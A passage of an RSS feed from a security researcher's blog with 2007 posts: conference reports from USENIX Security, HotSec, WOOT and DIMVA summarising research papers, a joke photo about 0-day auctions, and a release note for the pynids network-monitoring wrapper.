		
		<category><![CDATA[Security]]></category>

		<category><![CDATA[Umich]]></category>

		<guid isPermaLink="false">http://jon.oberheide.org/blog/2007/08/10/usenix-security-hotsec-woot-2007/</guid>
		<description><![CDATA[I recently attended the USENIX Security Symposium in Boston, MA.  I also attended two of the co-located workshops: the Workshop on Hot Topics in Security (HotSec), at which I presented a research paper focusing on a new paradigm for antivirus deployment, and the Workshop on Offensive Technologies (WOOT).

Hotsec 2007 Workshop

At HotSec, I presented our [...]]]></description>
			<content:encoded><![CDATA[<p>I recently attended the <a href="http://www.usenix.org/events/sec07/" target="_blank">USENIX Security Symposium</a> in Boston, MA.  I also attended two of the co-located workshops: the Workshop on Hot Topics in Security (<a href="http://www.usenix.org/events/hotsec07/" target="_blank">HotSec</a>), at which I presented a research paper focusing on a new paradigm for antivirus deployment, and the Workshop on Offensive Technologies (<a href="http://www.usenix.org/events/woot07/" target="_blank">WOOT</a>).</p>
<p><span id="more-60"></span></p>
<h2>Hotsec 2007 Workshop</h2>
<p style="text-align: center"><img src="http://jon.oberheide.org/blog/wp-content/uploads/2008/02/hotsec07.jpg" alt="hotsec07.jpg" /></p>
<p>At HotSec, I presented our paper titled &#8220;Rethinking Antivirus: Executable Analysis in the Network Cloud&#8221;.  The abstract follows:</p>
<p>Antivirus software installed on each end host in an organization has become the de-facto security mechanism used to defend against unwanted executables.  We argue that the executable analysis currently provided by host-based antivirus software can be more efficiently and effectively provided as an in-cloud network service. Instead of running complex analysis software on every end host, we suggest that each end host run a lightweight process to acquire executables entering a system, send them into the network for analysis, and then run or quarantine them based on a threat report returned by the network service. An executable analysis service run inside an enterprise network or by a service provider could integrate antivirus software, behavioral simulation, and other analysis engines from multiple vendors providing better detection of malware and simplify client software enabling deployment on a broader range of devices. To explore this idea we construct a prototype composed of a Windows based host agent and an in-cloud analysis service and evaluate it using a diverse dataset of 5066 unique malicious executables. By correlating information between multiple detection engines, our system provides over 98% detection coverage of the malicious executables using eight antivirus engines and two behavioral engines compared to a 54% to 86% detection rate using the latest commercial antivirus products.</p>
<p>Both the <a href="http://jon.oberheide.org/files/hotsec07-cloud.pdf" target="_blank">paper</a> and<a href="http://jon.oberheide.org/files/hotsec07-cloud-pres.pdf" target="_blank"> presentation</a> are available in PDF format.</p>
<h2>WOOT 2007 Workshop</h2>
<p style="text-align: center"><img src="http://jon.oberheide.org/blog/wp-content/uploads/2008/02/woot07.jpg" alt="woot07.jpg" /></p>
<p>The work presented at WOOT was by far the most interesting of the three events.  I suppose I&#8217;m just a sucker for more technical and practical research.  Papers of interest:</p>
<p><strong>Exploiting Concurrency Vulnerabilities in System Call Wrappers</strong><br />
Robert N. M. Watson, Computer Laboratory, University of Cambridge</p>
<p>Robert Watson, of FreeBSD fame, presented weaknesses in syscall wrapping frameworks, leading to an evasion of the access control and auditing functionality they were designed to provide.  Robert found that systems such as GSWTK and Systrace are vulnerable to TOCTOU-like concurrency issues in syscall arguments.  This also affects other systems such as the Systrace-based <a href="http://sysjail.bsd.lv" target="_blank">sysjail</a>, allowing a malicious user to break out of the jail due to bind(2) races.</p>
<p><strong>Flayer: Exposing Application Internals</strong><br />
Will Drewry and Tavis Ormandy, Google, Inc.</p>
<p>Will&#8217;s Flayer tool looks great for quick-and-dirty fuzzing sessions.  Flayer, based on the Valgrind framework, allows for taint tracking from multiple input sources and conditional jump modification to get past those annoying sanity checks in your fuzzing target.  Flayer absolutely tore apart libtiff and also discovered a NULL deref in OpenSSL.</p>
<p><strong>BlueSniff: Eve Meets Alice and Bluetooth</strong><br />
Dominic Spill and Andrea Bittau, University College London</p>
<p>While a lot of bluetooth attacks have been explored in the past, I was particularly interested in Dominic&#8217;s work since he was using a USRP (Universal Software Radio Peripheral) with the GNU Radio framework, resulting in an attack that is possible on much more affordable hardware.</p>
<h2>USENIX Security 2007</h2>
<p style="text-align: center"><img src="http://jon.oberheide.org/blog/wp-content/uploads/2008/02/security07.jpg" alt="security07.jpg" /></p>
<p>A couple papers of interest that caught my attention during the USENIX Security conference:</p>
<p><strong>Language Identification of Encrypted VoIP Traffic: Alejandra y Roberto or<br />
Alice and Bob?</strong><br />
Charles V. Wright, Lucas Ballard, Fabian Monrose, and Gerald M. Masson, Johns<br />
Hopkins University</p>
<p>Gotta love the work of Fabian&#8217;s group on VBR-encoded VoIP traffic.  The timing characteristics of the encrypted RTP streams allows for decently accurate identification of the language being spoken in the VoIP conversation.  Pretty neat stuff, I&#8217;m definitely interested in seeing some of the future work on conversation reconstruction that Fabian has hinted at.</p>
<p><strong>OSLO: Improving the Security of Trusted Computing</strong><br />
Bernhard Kauer, Technische Universitat Dresden</p>
<p>Bernhard not only demostrated design and implementation bugs in several TPM-enabled bootloaders and detailed TPM reset and BIOS attacks against trusted computing platforms, but also implemented OSLO, a secure bootloader making use of the senter/skinit instructions on modern CPUs.  I wasn&#8217;t able to catch Bernhard&#8217;s presentation but had previously read the paper and was happy to see it was accepted at USENIX Security.</p>
]]></content:encoded>
			<wfw:commentRss>http://jon.oberheide.org/blog/2007/08/10/usenix-security-hotsec-woot-2007/feed/</wfw:commentRss>
		</item>
		<item>
		<title>0-Day Auctions in Ann Arbor</title>
		<link>http://jon.oberheide.org/blog/2007/08/01/0-day-auctions-in-ann-arbor/</link>
		<comments>http://jon.oberheide.org/blog/2007/08/01/0-day-auctions-in-ann-arbor/#comments</comments>
		<pubDate>Wed, 01 Aug 2007 23:59:04 +0000</pubDate>
		<dc:creator>Jon Oberheide</dc:creator>
		
		<category><![CDATA[Personal]]></category>

		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://jon.oberheide.org/blog/2007/08/01/0-day-auctions-in-ann-arbor/</guid>
		<description><![CDATA[Apparently WabiSabi is not the only one with a marketplace for 0-day auctions.


Ok, so it&#8217;s a bit of a stretch, but I couldn&#8217;t help but stop and take a picture when I saw the sign while driving down Stadium Blvd.  Perhaps it would be a bit more convincing if I photoshopped out the &#8220;T&#8221;&#8230;
]]></description>
			<content:encoded><![CDATA[<p>Apparently <a href="http://www.wslabi.com" target="_blank">WabiSabi</a> is not the only one with a marketplace for 0-day auctions.</p>
<p><span id="more-58"></span></p>
<p style="text-align: center"><img src="http://jon.oberheide.org/blog/wp-content/uploads/2008/02/0day.jpg" alt="0day.jpg" /></p>
<p>Ok, so it&#8217;s a bit of a stretch, but I couldn&#8217;t help but stop and take a picture when I saw the sign while driving down Stadium Blvd.  Perhaps it would be a bit more convincing if I photoshopped out the &#8220;T&#8221;&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://jon.oberheide.org/blog/2007/08/01/0-day-auctions-in-ann-arbor/feed/</wfw:commentRss>
		</item>
		<item>
		<title>DIMVA 2007</title>
		<link>http://jon.oberheide.org/blog/2007/07/20/dimva-2007/</link>
		<comments>http://jon.oberheide.org/blog/2007/07/20/dimva-2007/#comments</comments>
		<pubDate>Fri, 20 Jul 2007 11:33:49 +0000</pubDate>
		<dc:creator>Jon Oberheide</dc:creator>
		
		<category><![CDATA[Personal]]></category>

		<category><![CDATA[Security]]></category>

		<category><![CDATA[Umich]]></category>

		<guid isPermaLink="false">http://jon.oberheide.org/blog/2007/07/20/dimva-2007/</guid>
		<description><![CDATA[I just got back from Switzerland, and despite numerous flight delays, cancellations, and lost luggage (thanks NWA!), it was a great trip.  I presented some of my research at the Fourth International Conference on Detection of Intrusions and Malware and Vulnerability Assessment (DIMVA), and got to spend some vacation time in Zurich, Lucerne, and [...]]]></description>
			<content:encoded><![CDATA[<p>I just got back from Switzerland, and despite numerous flight delays, cancellations, and lost luggage (thanks NWA!), it was a great trip.  I presented some of my research at the Fourth International Conference on Detection of Intrusions and Malware and Vulnerability Assessment (<a href="http://dimva2007.org" target="_blank">DIMVA</a>), and got to spend some vacation time in Zurich, Lucerne, and Milan, Italy.</p>
<p><span id="more-51"></span></p>
<p style="text-align: center"><img src="http://jon.oberheide.org/blog/wp-content/uploads/2008/02/dimva.png" alt="dimva.png" /></p>
<h2>Characterizing Dark DNS Behavior</h2>
<p>The research I presented at DIMVA focused on the measurement of dark DNS, or the DNS queries associated with darknet addresses.  Evidence of dark DNS activity has important implications with regards to darknet sensor deployments.  Misconfiguration or improperi delegation of reverse DNS authority for darknet monitoring systems may allow evasion by an attacker via DNS reconnaissance.  We characterized the dark DNS activity observed on a large operational network and presented a lightweight tool to complement existing network sensors and low-interaction honeypots by providing simple DNS services.</p>
<p>Both the <a href="http://jon.oberheide.org/files/dimva07-darkdns.pdf" target="_blank">paper</a> and <a href="http://jon.oberheide.org/files/dimva07-darkdns-pres.pdf" target="_blank">presentation</a> are available in PDF format.</p>
<h2>Other Papers of Interest</h2>
<p><strong>A Study of Malcode-Bearing Documents</strong><br />
Wei-Jen Li, Salvatore Stolfo, Angelos Stavrou, Elli Androulaki and Angelos Keromytis</p>
<p>A look at statistical static analysis techniques and their effectiveness in detecting malicious code in complex modern document formats, specifically Microsoft Word documents.  As we&#8217;ll undoubtedly see increasing numbers of attacks against applications which parse complex data containers such as media and document formats, this is an important area of research.</p>
<p><strong>On the Effectiveness of Techniques to Detect Phishing Sites</strong><br />
Christian Ludl, Sean McAllister, Engin Kirda and Christopher Kruegel</p>
<p>Ludl et al. evaluated the effectiveness of existing blacklist-based approaches to preventing phishing attacks.  They tested the blacklists provided by Google and Microsoft against a list of 10,000 phishing URLs and found that Google identified over 90% of the URLs.  I personally find this result interesting as a ton of work has been done developing phishing heuristics based on the structure of the page, content, URIs, and other attributes.  These complex heuristics are often inferior and more prone to false positives than a simple provider-based blacklist.  KISS.</p>
<h2>Pictures</h2>
<p style="text-align: center"><img src="http://jon.oberheide.org/blog/wp-content/uploads/2008/02/train.jpg" alt="train.jpg" /><br />
Somewhere between Zurich and Milan</p>
<p style="text-align: center"><img src="http://jon.oberheide.org/blog/wp-content/uploads/2008/02/graffiti.jpg" alt="graffiti.jpg" /><br />
Graffiti in Milan, Italy</p>
<p style="text-align: center"> <img src="http://jon.oberheide.org/blog/wp-content/uploads/2008/02/station.jpg" alt="station.jpg" /><br />
Train station in Zurich, Switzerland</p>
]]></content:encoded>
			<wfw:commentRss>http://jon.oberheide.org/blog/2007/07/20/dimva-2007/feed/</wfw:commentRss>
		</item>
		<item>
		<title>pynids 0.5a Update Released</title>
		<link>http://jon.oberheide.org/blog/2007/05/07/pynids-05a-update-released/</link>
		<comments>http://jon.oberheide.org/blog/2007/05/07/pynids-05a-update-released/#comments</comments>
		<pubDate>Mon, 07 May 2007 17:51:45 +0000</pubDate>
		<dc:creator>Jon Oberheide</dc:creator>
		
		<category><![CDATA[Projects]]></category>

		<category><![CDATA[Technical]]></category>

		<guid isPermaLink="false">http://jon.oberheide.org/blog/2007/05/07/pynids-05a-update-released/</guid>
		<description><![CDATA[pynids is a python wrapper for libnids, a Network Intrusion Detection System (NIDS) library offering sniffing, IP defragmentation, TCP stream reassembly and port scan detection.  This release is an update to Michael Pomraning&#8217;s 0.5 release to allow control of libnid&#8217;s checksumming options.

Checksum Control
Many modern NICs provide both TX and RX checksum offloading for TCP [...]]]></description>
			<content:encoded><![CDATA[<p>pynids is a python wrapper for libnids, a Network Intrusion Detection System (NIDS) library offering sniffing, IP defragmentation, TCP stream reassembly and port scan detection.  This release is an update to Michael Pomraning&#8217;s 0.5 release to allow control of libnid&#8217;s checksumming options.</p>
<p><span id="more-57"></span></p>
<h2>Checksum Control</h2>
<p>Many modern NICs provide both TX and RX checksum offloading for TCP and other protocols.  This offloading functionality may cause the BPF tap utilized by libnids to observe packets with incorrect checksums, and drop legitimate packets during their processing, believing them to be invalid due to the incorrect checksum.</p>
<p>Thankfully, libnids provides a configuration options to control the TCP checksum behavior for arbitrary source addresses.  Unfortunately, the current version of the pynids wrapper interface does not expose this option and has not been updated since January 2005.  After running into this issue when whipping up a one-off tool with pynids, I decided to release an updated version of the pynids wrapper, 0.5a, to address the limitation.</p>
<p>In addition to the new checksum control functionality, the bundled libnids library has been updated from 1.19 to 1.21.  More information on the updated 0.5a release and the tarball download is available <a href="http://jon.oberheide.org/projects/pynids/" target="_blank">here</a>.</p>
<h2>External Links</h2>
<ul>
<li><a href="http://jon.oberheide.org/projects/pynids/" target="_blank">Updated pynids 0.5a release</a></li>
<li><a href="http://pilcrow.madison.wi.us/pynids/" target="_blank">Original pynids website</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://jon.oberheide.org/blog/2007/05/07/pynids-05a-update-released/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
